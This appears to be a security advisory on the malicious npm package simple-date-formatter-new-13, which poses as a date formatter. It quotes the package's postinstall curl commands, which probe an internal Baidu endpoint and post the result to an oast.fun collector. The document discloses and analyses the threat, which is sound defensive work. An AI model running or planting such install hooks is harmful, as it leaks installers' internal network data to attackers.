OpenSSF/OSV advisory MAL-2026-17159 confirms this npm version as malicious. simple-date-formatter-new-13@1.0.0 presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every \`npm install\`. The postinstall runs \`curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt\` against an internal Baidu network endpoint, then \`curl -X POST -d "$(cat...

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

simple-date-formatter-new-13@1.0.0 presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every \`npm install\`. The postinstall runs \`curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt\` against an internal Baidu network endpoint, then \`curl -X POST -d "$(cat /tmp/bsrc.txt...)" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc\` sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running \`npm install\` will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.
